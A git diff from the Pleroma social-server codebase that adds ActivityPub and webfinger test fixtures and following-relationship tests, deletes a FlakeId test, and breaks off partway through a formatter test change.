diff --git a/test/fixtures/tesla_mock/pekorino@pawoo.net_host_meta.json b/test/fixtures/tesla_mock/pekorino@pawoo.net_host_meta.json
new file mode 100644
index 000000000..3757c0dad
--- /dev/null
+++ b/test/fixtures/tesla_mock/pekorino@pawoo.net_host_meta.json
@@ -0,0 +1,12 @@
+{
+ "subject":"acct:pekorino@pawoo.net",
+ "aliases":["https://pawoo.net/@pekorino","https://pawoo.net/users/pekorino"],
+ "links":[
+ {"rel":"http://webfinger.net/rel/profile-page","type":"text/html","href":"https://pawoo.net/@pekorino"},
+ {"rel":"http://schemas.google.com/g/2010#updates-from","type":"application/atom+xml","href":"https://pawoo.net/users/pekorino.atom"},
+ {"rel":"self","type":"application/activity+json","href":"https://pawoo.net/users/pekorino"},
+ {"rel":"salmon","href":"https://pawoo.net/api/salmon/128378"},
+ {"rel":"magic-public-key","href":"data:application/magic-public-key,RSA.1x8XXmBqzyb-QRkfUKxKPd7Ac2KbaFhdKy2FkJY64G-ifga-BppzEb62Q5TdkRdVKdHjh5qI7A1Hk3KfnNQcNWqqak-jxII_txC2grbWpp7v-boceD2pnzdVK5l-RR-9wEwxcoCUeRWS1Ak6DStqE5tFQOAK4IIGQB-thSQGlU75KZ-2080fPA3Xc_ycH3_eB4YqawSxXrh6IeScMevN0YHSF84GAcvhXmwLKZRugiF6nYrknbPEe_niIOmN8hhEXLN9_4kDcH83hkVZd5VXssRrxqDhtokx9emvTHkA7sY1AjYeehTPZErlV74GN-kFYLeI6DluXoSI2sX1QcS08w==.AQAB"},
+ {"rel":"http://ostatus.org/schema/1.0/subscribe","template":"https://pawoo.net/authorize_follow?acct={uri}"}
+ ]
+}
diff --git a/test/fixtures/tesla_mock/poll_modified.json b/test/fixtures/tesla_mock/poll_modified.json
new file mode 100644
index 000000000..1d026b592
--- /dev/null
+++ b/test/fixtures/tesla_mock/poll_modified.json
@@ -0,0 +1 @@
+{"@context":["https://www.w3.org/ns/activitystreams","https://patch.cx/schemas/litepub-0.1.jsonld",{"@language":"und"}],"actor":"https://patch.cx/users/rin","attachment":[],"attributedTo":"https://patch.cx/users/rin","cc":["https://patch.cx/users/rin/followers"],"closed":"2019-09-19T00:32:36.785333","content":"can you vote on this poll?","context":"https://patch.cx/contexts/626ecafd-3377-46c4-b908-3721a4d4373c","conversation":"https://patch.cx/contexts/626ecafd-3377-46c4-b908-3721a4d4373c","id":"https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d","oneOf":[{"name":"yes","replies":{"totalItems":8,"type":"Collection"},"type":"Note"},{"name":"no","replies":{"totalItems":3,"type":"Collection"},"type":"Note"}],"published":"2019-09-18T14:32:36.802152Z","sensitive":false,"summary":"","tag":[],"to":["https://www.w3.org/ns/activitystreams#Public"],"type":"Question"} \ No newline at end of file
diff --git a/test/fixtures/tesla_mock/poll_original.json b/test/fixtures/tesla_mock/poll_original.json
new file mode 100644
index 000000000..267876b3c
--- /dev/null
+++ b/test/fixtures/tesla_mock/poll_original.json
@@ -0,0 +1 @@
+{"@context":["https://www.w3.org/ns/activitystreams","https://patch.cx/schemas/litepub-0.1.jsonld",{"@language":"und"}],"actor":"https://patch.cx/users/rin","attachment":[],"attributedTo":"https://patch.cx/users/rin","cc":["https://patch.cx/users/rin/followers"],"closed":"2019-09-19T00:32:36.785333","content":"can you vote on this poll?","context":"https://patch.cx/contexts/626ecafd-3377-46c4-b908-3721a4d4373c","conversation":"https://patch.cx/contexts/626ecafd-3377-46c4-b908-3721a4d4373c","id":"https://patch.cx/objects/9a172665-2bc5-452d-8428-2361d4c33b1d","oneOf":[{"name":"yes","replies":{"totalItems":4,"type":"Collection"},"type":"Note"},{"name":"no","replies":{"totalItems":0,"type":"Collection"},"type":"Note"}],"published":"2019-09-18T14:32:36.802152Z","sensitive":false,"summary":"","tag":[],"to":["https://www.w3.org/ns/activitystreams#Public"],"type":"Question"} \ No newline at end of file
diff --git a/test/fixtures/tesla_mock/relay@mastdon.example.org.json b/test/fixtures/tesla_mock/relay@mastdon.example.org.json
new file mode 100644
index 000000000..c1fab7d3b
--- /dev/null
+++ b/test/fixtures/tesla_mock/relay@mastdon.example.org.json
@@ -0,0 +1,55 @@
+{
+ "@context": ["https://www.w3.org/ns/activitystreams", "https://w3id.org/security/v1", {
+ "manuallyApprovesFollowers": "as:manuallyApprovesFollowers",
+ "sensitive": "as:sensitive",
+ "movedTo": "as:movedTo",
+ "Hashtag": "as:Hashtag",
+ "ostatus": "http://ostatus.org#",
+ "atomUri": "ostatus:atomUri",
+ "inReplyToAtomUri": "ostatus:inReplyToAtomUri",
+ "conversation": "ostatus:conversation",
+ "toot": "http://joinmastodon.org/ns#",
+ "Emoji": "toot:Emoji"
+ }],
+ "id": "http://mastodon.example.org/users/admin",
+ "type": "Application",
+ "invisible": true,
+ "following": "http://mastodon.example.org/users/admin/following",
+ "followers": "http://mastodon.example.org/users/admin/followers",
+ "inbox": "http://mastodon.example.org/users/admin/inbox",
+ "outbox": "http://mastodon.example.org/users/admin/outbox",
+ "preferredUsername": "admin",
+ "name": null,
+ "summary": "\u003cp\u003e\u003c/p\u003e",
+ "url": "http://mastodon.example.org/@admin",
+ "manuallyApprovesFollowers": false,
+ "publicKey": {
+ "id": "http://mastodon.example.org/users/admin#main-key",
+ "owner": "http://mastodon.example.org/users/admin",
+ "publicKeyPem": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtc4Tir+3ADhSNF6VKrtW\nOU32T01w7V0yshmQei38YyiVwVvFu8XOP6ACchkdxbJ+C9mZud8qWaRJKVbFTMUG\nNX4+6Q+FobyuKrwN7CEwhDALZtaN2IPbaPd6uG1B7QhWorrY+yFa8f2TBM3BxnUy\nI4T+bMIZIEYG7KtljCBoQXuTQmGtuffO0UwJksidg2ffCF5Q+K//JfQagJ3UzrR+\nZXbKMJdAw4bCVJYs4Z5EhHYBwQWiXCyMGTd7BGlmMkY6Av7ZqHKC/owp3/0EWDNz\nNqF09Wcpr3y3e8nA10X40MJqp/wR+1xtxp+YGbq/Cj5hZGBG7etFOmIpVBrDOhry\nBwIDAQAB\n-----END PUBLIC KEY-----\n"
+ },
+ "attachment": [{
+ "type": "PropertyValue",
+ "name": "foo",
+ "value": "bar"
+ },
+ {
+ "type": "PropertyValue",
+ "name": "foo1",
+ "value": "bar1"
+ }
+ ],
+ "endpoints": {
+ "sharedInbox": "http://mastodon.example.org/inbox"
+ },
+ "icon": {
+ "type": "Image",
+ "mediaType": "image/jpeg",
+ "url": "https://cdn.niu.moe/accounts/avatars/000/033/323/original/fd7f8ae0b3ffedc9.jpeg"
+ },
+ "image": {
+ "type": "Image",
+ "mediaType": "image/png",
+ "url": "https://cdn.niu.moe/accounts/headers/000/033/323/original/850b3448fa5fd477.png"
+ }
+}
diff --git a/test/fixtures/tesla_mock/rin.json b/test/fixtures/tesla_mock/rin.json
new file mode 100644
index 000000000..2cf623764
--- /dev/null
+++ b/test/fixtures/tesla_mock/rin.json
@@ -0,0 +1 @@
+{"@context":["https://www.w3.org/ns/activitystreams","https://patch.cx/schemas/litepub-0.1.jsonld",{"@language":"und"}],"attachment":[],"endpoints":{"oauthAuthorizationEndpoint":"https://patch.cx/oauth/authorize","oauthRegistrationEndpoint":"https://patch.cx/api/v1/apps","oauthTokenEndpoint":"https://patch.cx/oauth/token","sharedInbox":"https://patch.cx/inbox"},"followers":"https://patch.cx/users/rin/followers","following":"https://patch.cx/users/rin/following","icon":{"type":"Image","url":"https://patch.cx/media/4e914f5b84e4a259a3f6c2d2edc9ab642f2ab05f3e3d9c52c81fc2d984b3d51e.jpg"},"id":"https://patch.cx/users/rin","image":{"type":"Image","url":"https://patch.cx/media/f739efddefeee49c6e67e947c4811fdc911785c16ae43da4c3684051fbf8da6a.jpg?name=f739efddefeee49c6e67e947c4811fdc911785c16ae43da4c3684051fbf8da6a.jpg"},"inbox":"https://patch.cx/users/rin/inbox","manuallyApprovesFollowers":false,"name":"rinpatch","outbox":"https://patch.cx/users/rin/outbox","preferredUsername":"rin","publicKey":{"id":"https://patch.cx/users/rin#main-key","owner":"https://patch.cx/users/rin","publicKeyPem":"-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5DLtwGXNZElJyxFGfcVc\nXANhaMadj/iYYQwZjOJTV9QsbtiNBeIK54PJrYuU0/0YIdrvS1iqheX5IwXRhcwa\nhm3ZyLz7XeN9st7FBni4BmZMBtMpxAuYuu5p/jbWy13qAiYOhPreCx0wrWgm/lBD\n9mkgaxIxPooBE0S4ZWEJIDIV1Vft3AWcRUyWW1vIBK0uZzs6GYshbQZB952S0yo4\nFzI1hABGHncH8UvuFauh4EZ8tY7/X5I0pGRnDOcRN1dAht5w5yTA+6r5kebiFQjP\nIzN/eCO/a9Flrj9YGW7HDNtjSOH0A31PLRGlJtJO3yK57dnf5ppyCZGfL4emShQo\ncQIDAQAB\n-----END PUBLIC KEY-----\n\n"},"summary":"your friendly neighborhood pleroma developer<br>I like cute things and distributed systems, and really hate delete and redrafts","tag":[],"type":"Person","url":"https://patch.cx/users/rin"} \ No newline at end of file
diff --git a/test/fixtures/tesla_mock/sdf.org_host_meta b/test/fixtures/tesla_mock/sdf.org_host_meta
new file mode 100644
index 000000000..0ffc4f096
--- /dev/null
+++ b/test/fixtures/tesla_mock/sdf.org_host_meta
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<XRD xmlns="http://docs.oasis-open.org/ns/xri/xrd-1.0">
+ <Link rel="lrdd" type="application/xrd+xml" template="https://mastodon.sdf.org/.well-known/webfinger?resource={uri}"/>
+</XRD>
diff --git a/test/fixtures/tesla_mock/sjw.json b/test/fixtures/tesla_mock/sjw.json
new file mode 100644
index 000000000..ff64478d3
--- /dev/null
+++ b/test/fixtures/tesla_mock/sjw.json
@@ -0,0 +1 @@
+{"@context":["https://www.w3.org/ns/activitystreams","https://w3id.org/security/v1",{"Hashtag":"as:Hashtag"}],"type":"Person","id":"https://skippers-bin.com/users/7v1w1r8ce6","inbox":"https://skippers-bin.com/users/7v1w1r8ce6/inbox","outbox":"https://skippers-bin.com/users/7v1w1r8ce6/outbox","followers":"https://skippers-bin.com/users/7v1w1r8ce6/followers","following":"https://skippers-bin.com/users/7v1w1r8ce6/following","featured":"https://skippers-bin.com/users/7v1w1r8ce6/collections/featured","sharedInbox":"https://skippers-bin.com/inbox","endpoints":{"sharedInbox":"https://skippers-bin.com/inbox"},"url":"https://skippers-bin.com/@sjw","preferredUsername":"sjw","name":"It's ya boi sjw :verified:","summary":"<p><span>Admin of skippers-bin.com and neckbeard.xyz<br>For the most part I'm just a normal user. I mostly post animu, lewds, may-mays, and shitposts.<br><br>Not an alt of </span><a href=\"https://skippers-bin.com/@sjw@neckbeard.xyz\" class=\"mention\">@sjw@neckbeard.xyz</a><span> but another main.<br><br>Email/XMPP: neckbeard@rape.lol<br>PGP: d016 b622 75ba bcbc 5b3a fced a7d9 4824 0eb3 9c4e</span></p>","icon":{"type":"Image","url":"https://skippers-bin.com/files/webpublic-21b17f5b-3a83-4f50-8d4f-eda92066aa26","sensitive":false},"image":{"type":"Image","url":"https://skippers-bin.com/files/webpublic-1cd7f961-421e-4c31-aa03-74fb82584308","sensitive":false},"tag":[{"id":"https://skippers-bin.com/emojis/verified","type":"Emoji","name":":verified:","updated":"2019-07-12T02:16:12.088Z","icon":{"type":"Image","mediaType":"image/png","url":"https://skippers-bin.com/files/webpublic-dd10b435-6dad-4602-938b-f69ec0a19f2c"}}],"manuallyApprovesFollowers":false,"publicKey":{"id":"https://skippers-bin.com/users/7v1w1r8ce6/publickey","type":"Key","owner":"https://skippers-bin.com/users/7v1w1r8ce6","publicKeyPem":"-----BEGIN RSA PUBLIC KEY-----\nMIICCgKCAgEAvmp71/A6Oxe1UW/44HK0juAJhrjv9gYhaoslaS9K1FB+BHfIjaE9\n9+W2SKRLnVNYNFSN4JJrSGhX5RUjAsf4tcdRDVcmHl7tp2sgOAZeZz5geULm2sJQ\nwElnGk34jT/xCfX+w/O+7DuX31sU7ZK0B2P7ulNGDQXhrzVO0RMx7HhNcsFcusno\n3kmPyyPT1l+PbM2UNWms599/3yicKtuOzMgzxNeXvuHYtAO19txyPiOeYckQOMmT\nwEVIxypgCgNQ0MNtPLPKQTwOgVbvnN7MN+h3esKeKDcPcGQySkbkjZPaVnA6xCQf\nj58c19wqdCfAS4Effo5/bxVmhLpe0l9HYpV7IMasv2LhFntmSmAxBQzhdz0oTYb1\naNqiyfZdClnzutOiKcrFppADo4rZH9Z1WlPHapahrKbF0GRPN8DjSUsoBxfY9wZs\ntlL056hT4o+EFHYrRGo7KP6X/6aQ9sSsmpE08aVpVuXdwuaoaDlW1KrJ0oOk4lZw\nUNXvjEaN3c+VQAw2CNvkAqLuwrjnw7MdcxEGodEXb6s8VvoSOaiDqT7cexSaZe0R\nliCe/3dqFXpX1UrgRiryI4yc1BrEJIGTanchmP2aUJ2R2pccFsREp23C3vMN3M5b\nHw7fvKbUQHyf6lhRoLCOSCz1xaPutaMJmpwLuJo4wPCHGg9QFBYsqxcCAwEAAQ==\n-----END RSA PUBLIC KEY-----\n"},"isCat":true}
diff --git a/test/fixtures/tesla_mock/snowdusk@sdf.org_host_meta.json b/test/fixtures/tesla_mock/snowdusk@sdf.org_host_meta.json
new file mode 100644
index 000000000..273fc3804
--- /dev/null
+++ b/test/fixtures/tesla_mock/snowdusk@sdf.org_host_meta.json
@@ -0,0 +1,12 @@
+{
+ "subject":"acct:snowdusk@mastodon.sdf.org",
+ "aliases":["https://mastodon.sdf.org/@snowdusk","https://mastodon.sdf.org/users/snowdusk"],
+ "links":[
+ {"rel":"http://webfinger.net/rel/profile-page","type":"text/html","href":"https://mastodon.sdf.org/@snowdusk"},
+ {"rel":"http://schemas.google.com/g/2010#updates-from","type":"application/atom+xml","href":"https://mastodon.sdf.org/users/snowdusk.atom"},
+ {"rel":"self","type":"application/activity+json","href":"https://mastodon.sdf.org/users/snowdusk"},
+ {"rel":"salmon","href":"https://mastodon.sdf.org/api/salmon/2"},
+ {"rel":"magic-public-key","href":"data:application/magic-public-key,RSA.k4_Hr0WQUHumAD4uwWIz7OybovIKgIuanbXhX5pl7oGyb2TuifBf3nAqEhD6eLSo6-_6160L4BvPPV_l_6rlZEi6_nbeJUgVkayZgcZN3oou3IErSt8L0IbUdWT5s4fWM2zpkndLCkVbeeNQ3DOBccvJw7iA_QNTao8wr3ILvQaKEDnf-H5QBd9Tj3seyo4-7E0e6wCKOH_uBm8pSRgpdMdl2CehiFzaABBkmCeUKH-buU7iNQGi0fsV5VIHn6zffrv6p0EVNkjTDi1vTmmfrp9W0mcKZJ9DtvdehOKSgh3J7Mem-ILbPy6FSL2Oi6Ekj_Wh4M8Ie-YKuxI3N_0Baw==.AQAB"},
+ {"rel":"http://ostatus.org/schema/1.0/subscribe","template":"https://mastodon.sdf.org/authorize_interaction?uri={uri}"}
+ ]
+}
diff --git a/test/fixtures/tesla_mock/soykaf.com_host_meta b/test/fixtures/tesla_mock/soykaf.com_host_meta
new file mode 100644
index 000000000..99d552d32
--- /dev/null
+++ b/test/fixtures/tesla_mock/soykaf.com_host_meta
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<XRD xmlns="http://docs.oasis-open.org/ns/xri/xrd-1.0">
+ <Link rel="lrdd" template="https://pleroma.soykaf.com/.well-known/webfinger?resource={uri}" type="application/xrd+xml" />
+</XRD>
diff --git a/test/fixtures/tesla_mock/stopwatchingus-heidelberg.de_host_meta b/test/fixtures/tesla_mock/stopwatchingus-heidelberg.de_host_meta
new file mode 100644
index 000000000..481cfec8d
--- /dev/null
+++ b/test/fixtures/tesla_mock/stopwatchingus-heidelberg.de_host_meta
@@ -0,0 +1,31 @@
+{
+ "links":[
+ {
+ "rel":"lrdd",
+ "type":"application\/jrd+json",
+ "template":"https:\/\/social.stopwatchingus-heidelberg.de\/.well-known\/webfinger?resource={uri}"
+ },
+ {
+ "rel":"lrdd",
+ "type":"application\/json",
+ "template":"https:\/\/social.stopwatchingus-heidelberg.de\/.well-known\/webfinger?resource={uri}"
+ },
+ {
+ "rel":"lrdd",
+ "type":"application\/xrd+xml",
+ "template":"https:\/\/social.stopwatchingus-heidelberg.de\/.well-known\/webfinger?resource={uri}"
+ },
+ {
+ "rel":"http:\/\/apinamespace.org\/oauth\/access_token",
+ "href":"https:\/\/social.stopwatchingus-heidelberg.de\/api\/oauth\/access_token"
+ },
+ {
+ "rel":"http:\/\/apinamespace.org\/oauth\/request_token",
+ "href":"https:\/\/social.stopwatchingus-heidelberg.de\/api\/oauth\/request_token"
+ },
+ {
+ "rel":"http:\/\/apinamespace.org\/oauth\/authorize",
+ "href":"https:\/\/social.stopwatchingus-heidelberg.de\/api\/oauth\/authorize"
+ }
+ ]
+}
diff --git a/test/fixtures/tesla_mock/wedistribute-article.json b/test/fixtures/tesla_mock/wedistribute-article.json
new file mode 100644
index 000000000..39dc1b982
--- /dev/null
+++ b/test/fixtures/tesla_mock/wedistribute-article.json
@@ -0,0 +1,18 @@
+{
+ "@context": [
+ "https://www.w3.org/ns/activitystreams"
+ ],
+ "type": "Article",
+ "name": "The end is near: Mastodon plans to drop OStatus support",
+ "content": "<!-- wp:paragraph {\"dropCap\":true} -->\n<p class=\"has-drop-cap\">The days of OStatus are numbered. The venerable protocol has served as a glue between many different types of servers since the early days of the Fediverse, connecting StatusNet (now GNU Social) to Friendica, Hubzilla, Mastodon, and Pleroma.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now that many fediverse platforms support ActivityPub as a successor protocol, Mastodon appears to be drawing a line in the sand. In <a href=\"https://www.patreon.com/posts/mastodon-2-9-and-28121681\">a Patreon update</a>, Eugen Rochko writes:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>...OStatus...has overstayed its welcome in the code...and now that most of the network uses ActivityPub, it's time for it to go. </p><cite>Eugen Rochko, Mastodon creator</cite></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>The <a href=\"https://github.com/tootsuite/mastodon/pull/11205\">pull request</a> to remove Pubsubhubbub and Salmon, two of the main components of OStatus, has already been merged into Mastodon's master branch.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some projects will be left in the dark as a side effect of this. GNU Social and PostActiv, for example, both only communicate using OStatus. While <a href=\"https://mastodon.social/@dansup/102076573310057902\">some discussion</a> exists regarding adopting ActivityPub for GNU Social, and <a href=\"https://notabug.org/diogo/gnu-social/src/activitypub/plugins/ActivityPub\">a plugin is in development</a>, it hasn't been formally adopted yet. We just hope that the <a href=\"https://status.fsf.org/main/public\">Free Software Foundation's instance</a> gets updated in time!</p>\n<!-- /wp:paragraph -->",
+ "summary": "One of the largest platforms in the federated social web is dropping the protocol that it started with.",
+ "attributedTo": "https://wedistribute.org/wp-json/pterotype/v1/actor/-blog",
+ "url": "https://wedistribute.org/2019/07/mastodon-drops-ostatus/",
+ "to": [
+ "https://www.w3.org/ns/activitystreams#Public",
+ "https://wedistribute.org/wp-json/pterotype/v1/actor/-blog/followers"
+ ],
+ "id": "https://wedistribute.org/wp-json/pterotype/v1/object/85810",
+ "likes": "https://wedistribute.org/wp-json/pterotype/v1/object/85810/likes",
+ "shares": "https://wedistribute.org/wp-json/pterotype/v1/object/85810/shares"
+}
diff --git a/test/fixtures/tesla_mock/wedistribute-user.json b/test/fixtures/tesla_mock/wedistribute-user.json
new file mode 100644
index 000000000..fe2a15703
--- /dev/null
+++ b/test/fixtures/tesla_mock/wedistribute-user.json
@@ -0,0 +1,31 @@
+{
+ "@context": [
+ "https://www.w3.org/ns/activitystreams",
+ "https://w3id.org/security/v1",
+ {
+ "manuallyApprovesFollowers": "as:manuallyApprovesFollowers"
+ }
+ ],
+ "type": "Organization",
+ "id": "https://wedistribute.org/wp-json/pterotype/v1/actor/-blog",
+ "following": "https://wedistribute.org/wp-json/pterotype/v1/actor/-blog/following",
+ "followers": "https://wedistribute.org/wp-json/pterotype/v1/actor/-blog/followers",
+ "liked": "https://wedistribute.org/wp-json/pterotype/v1/actor/-blog/liked",
+ "inbox": "https://wedistribute.org/wp-json/pterotype/v1/actor/-blog/inbox",
+ "outbox": "https://wedistribute.org/wp-json/pterotype/v1/actor/-blog/outbox",
+ "name": "We Distribute",
+ "preferredUsername": "blog",
+ "summary": "<p>Connecting many threads in the federated web. We Distribute is an independent publication dedicated to the fediverse, decentralization, P2P technologies, and Free Software!</p>",
+ "url": "https://wedistribute.org/",
+ "publicKey": {
+ "id": "https://wedistribute.org/wp-json/pterotype/v1/actor/-blog#publicKey",
+ "owner": "https://wedistribute.org/wp-json/pterotype/v1/actor/-blog",
+ "publicKeyPem": "-----BEGIN PUBLIC KEY-----\r\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1bmUJ+y8PS8JFVi0KugN\r\nFl4pLvLog3V2lsV9ftmCXpveB/WJx66Tr1fQLsU3qYvQFc8UPGWD52zV4RENR1SN\r\nx0O6T2f97KUbRM+Ckow7Jyjtssgl+Mqq8UBZQ/+H8I/1Vpvt5E5hUykhFgwzx9qg\r\nzoIA3OK7alOpQbSoKXo0QcOh6yTRUnMSRMJAgUoZJzzXI/FmH/DtKr7ziQ1T2KWs\r\nVs8mWnTb/OlCxiheLuMlmJNMF+lPyVthvMIxF6Z5gV9d5QAmASSCI628e6uH2EUF\r\nDEEF5jo+Z5ffeNv28953lrnM+VB/wTjl3tYA+zCQeAmUPksX3E+YkXGxj+4rxBAY\r\n8wIDAQAB\r\n-----END PUBLIC KEY-----"
+ },
+ "manuallyApprovesFollowers": false,
+ "icon": {
+ "url": "https://wedistribute.org/wp-content/uploads/2019/02/b067de423757a538.png",
+ "type": "Image",
+ "mediaType": "image/png"
+ }
+}
diff --git a/test/fixtures/tesla_mock/xn--q9jyb4c_host_meta b/test/fixtures/tesla_mock/xn--q9jyb4c_host_meta
new file mode 100644
index 000000000..45d260e55
--- /dev/null
+++ b/test/fixtures/tesla_mock/xn--q9jyb4c_host_meta
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<XRD xmlns="http://docs.oasis-open.org/ns/xri/xrd-1.0">
+ <Link rel="lrdd" template="https://zetsubou.xn--q9jyb4c/.well-known/webfinger?resource={uri}" type="application/xrd+xml" />
+</XRD>
diff --git a/test/fixtures/users_mock/friendica_followers.json b/test/fixtures/users_mock/friendica_followers.json
new file mode 100644
index 000000000..7b86b5fe2
--- /dev/null
+++ b/test/fixtures/users_mock/friendica_followers.json
@@ -0,0 +1,19 @@
+{
+ "@context": [
+ "https://www.w3.org/ns/activitystreams",
+ "https://w3id.org/security/v1",
+ {
+ "vcard": "http://www.w3.org/2006/vcard/ns#",
+ "dfrn": "http://purl.org/macgirvin/dfrn/1.0/",
+ "diaspora": "https://diasporafoundation.org/ns/",
+ "litepub": "http://litepub.social/ns#",
+ "manuallyApprovesFollowers": "as:manuallyApprovesFollowers",
+ "sensitive": "as:sensitive",
+ "Hashtag": "as:Hashtag",
+ "directMessage": "litepub:directMessage"
+ }
+ ],
+ "id": "http://localhost:8080/followers/fuser3",
+ "type": "OrderedCollection",
+ "totalItems": 296
+}
diff --git a/test/fixtures/users_mock/friendica_following.json b/test/fixtures/users_mock/friendica_following.json
new file mode 100644
index 000000000..7c526befc
--- /dev/null
+++ b/test/fixtures/users_mock/friendica_following.json
@@ -0,0 +1,19 @@
+{
+ "@context": [
+ "https://www.w3.org/ns/activitystreams",
+ "https://w3id.org/security/v1",
+ {
+ "vcard": "http://www.w3.org/2006/vcard/ns#",
+ "dfrn": "http://purl.org/macgirvin/dfrn/1.0/",
+ "diaspora": "https://diasporafoundation.org/ns/",
+ "litepub": "http://litepub.social/ns#",
+ "manuallyApprovesFollowers": "as:manuallyApprovesFollowers",
+ "sensitive": "as:sensitive",
+ "Hashtag": "as:Hashtag",
+ "directMessage": "litepub:directMessage"
+ }
+ ],
+ "id": "http://localhost:8080/following/fuser3",
+ "type": "OrderedCollection",
+ "totalItems": 32
+}
diff --git a/test/fixtures/users_mock/masto_closed_followers_page.json b/test/fixtures/users_mock/masto_closed_followers_page.json
new file mode 100644
index 000000000..04ab0c4d3
--- /dev/null
+++ b/test/fixtures/users_mock/masto_closed_followers_page.json
@@ -0,0 +1 @@
+{"@context":"https://www.w3.org/ns/activitystreams","id":"http://localhost:4001/users/masto_closed/followers?page=1","type":"OrderedCollectionPage","totalItems":437,"next":"http://localhost:4001/users/masto_closed/followers?page=2","partOf":"http://localhost:4001/users/masto_closed/followers","orderedItems":["https://testing.uguu.ltd/users/rin","https://patch.cx/users/rin","https://letsalllovela.in/users/xoxo","https://pleroma.site/users/crushv","https://aria.company/users/boris","https://kawen.space/users/crushv","https://freespeech.host/users/cvcvcv","https://pleroma.site/users/picpub","https://pixelfed.social/users/nosleep","https://boopsnoot.gq/users/5c1896d162f7d337f90492a3","https://pikachu.rocks/users/waifu","https://royal.crablettesare.life/users/crablettes"]}
diff --git a/test/fixtures/users_mock/masto_closed_following_page.json b/test/fixtures/users_mock/masto_closed_following_page.json
new file mode 100644
index 000000000..8d8324699
--- /dev/null
+++ b/test/fixtures/users_mock/masto_closed_following_page.json
@@ -0,0 +1 @@
+{"@context":"https://www.w3.org/ns/activitystreams","id":"http://localhost:4001/users/masto_closed/following?page=1","type":"OrderedCollectionPage","totalItems":152,"next":"http://localhost:4001/users/masto_closed/following?page=2","partOf":"http://localhost:4001/users/masto_closed/following","orderedItems":["https://testing.uguu.ltd/users/rin","https://patch.cx/users/rin","https://letsalllovela.in/users/xoxo","https://pleroma.site/users/crushv","https://aria.company/users/boris","https://kawen.space/users/crushv","https://freespeech.host/users/cvcvcv","https://pleroma.site/users/picpub","https://pixelfed.social/users/nosleep","https://boopsnoot.gq/users/5c1896d162f7d337f90492a3","https://pikachu.rocks/users/waifu","https://royal.crablettesare.life/users/crablettes"]}
diff --git a/test/flake_id_test.exs b/test/flake_id_test.exs
deleted file mode 100644
index ca2338041..000000000
--- a/test/flake_id_test.exs
+++ /dev/null
@@ -1,42 +0,0 @@
-# Pleroma: A lightweight social networking server
-# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
-# SPDX-License-Identifier: AGPL-3.0-only
-
-defmodule Pleroma.FlakeIdTest do
- use Pleroma.DataCase
- import Kernel, except: [to_string: 1]
- import Pleroma.FlakeId
-
- describe "fake flakes (compatibility with older serial integers)" do
- test "from_string/1" do
- fake_flake = <<0::integer-size(64), 42::integer-size(64)>>
- assert from_string("42") == fake_flake
- assert from_string(42) == fake_flake
- end
-
- test "zero or -1 is a null flake" do
- fake_flake = <<0::integer-size(128)>>
- assert from_string("0") == fake_flake
- assert from_string("-1") == fake_flake
- end
-
- test "to_string/1" do
- fake_flake = <<0::integer-size(64), 42::integer-size(64)>>
- assert to_string(fake_flake) == "42"
- end
- end
-
- test "ecto type behaviour" do
- flake = <<0, 0, 1, 104, 80, 229, 2, 235, 140, 22, 69, 201, 53, 210, 0, 0>>
- flake_s = "9eoozpwTul5mjSEDRI"
-
- assert cast(flake) == {:ok, flake_s}
- assert cast(flake_s) == {:ok, flake_s}
-
- assert load(flake) == {:ok, flake_s}
- assert load(flake_s) == {:ok, flake_s}
-
- assert dump(flake_s) == {:ok, flake}
- assert dump(flake) == {:ok, flake}
- end
-end
diff --git a/test/following_relationship_test.exs b/test/following_relationship_test.exs
new file mode 100644
index 000000000..93c079814
--- /dev/null
+++ b/test/following_relationship_test.exs
@@ -0,0 +1,47 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.FollowingRelationshipTest do
+ use Pleroma.DataCase
+
+ alias Pleroma.FollowingRelationship
+ alias Pleroma.Web.ActivityPub.InternalFetchActor
+ alias Pleroma.Web.ActivityPub.Relay
+
+ import Pleroma.Factory
+
+ describe "following/1" do
+ test "returns following addresses without internal.fetch" do
+ user = insert(:user)
+ fetch_actor = InternalFetchActor.get_actor()
+ FollowingRelationship.follow(fetch_actor, user, "accept")
+ assert FollowingRelationship.following(fetch_actor) == [user.follower_address]
+ end
+
+ test "returns following addresses without relay" do
+ user = insert(:user)
+ relay_actor = Relay.get_actor()
+ FollowingRelationship.follow(relay_actor, user, "accept")
+ assert FollowingRelationship.following(relay_actor) == [user.follower_address]
+ end
+
+ test "returns following addresses without remote user" do
+ user = insert(:user)
+ actor = insert(:user, local: false)
+ FollowingRelationship.follow(actor, user, "accept")
+ assert FollowingRelationship.following(actor) == [user.follower_address]
+ end
+
+ test "returns following addresses with local user" do
+ user = insert(:user)
+ actor = insert(:user, local: true)
+ FollowingRelationship.follow(actor, user, "accept")
+
+ assert FollowingRelationship.following(actor) == [
+ actor.follower_address,
+ user.follower_address
+ ]
+ end
+ end
+end
diff --git a/test/formatter_test.exs b/test/formatter_test.exs
index bfa673049..087bdbcc2 100644
--- a/test/formatter_test.exs
+++ b/test/formatter_test.exs
@@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
-# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.FormatterTest do
@@ -19,7 +19,7 @@ defmodule Pleroma.FormatterTest do
text = "I love #cofe and #2hu"
expected_text =
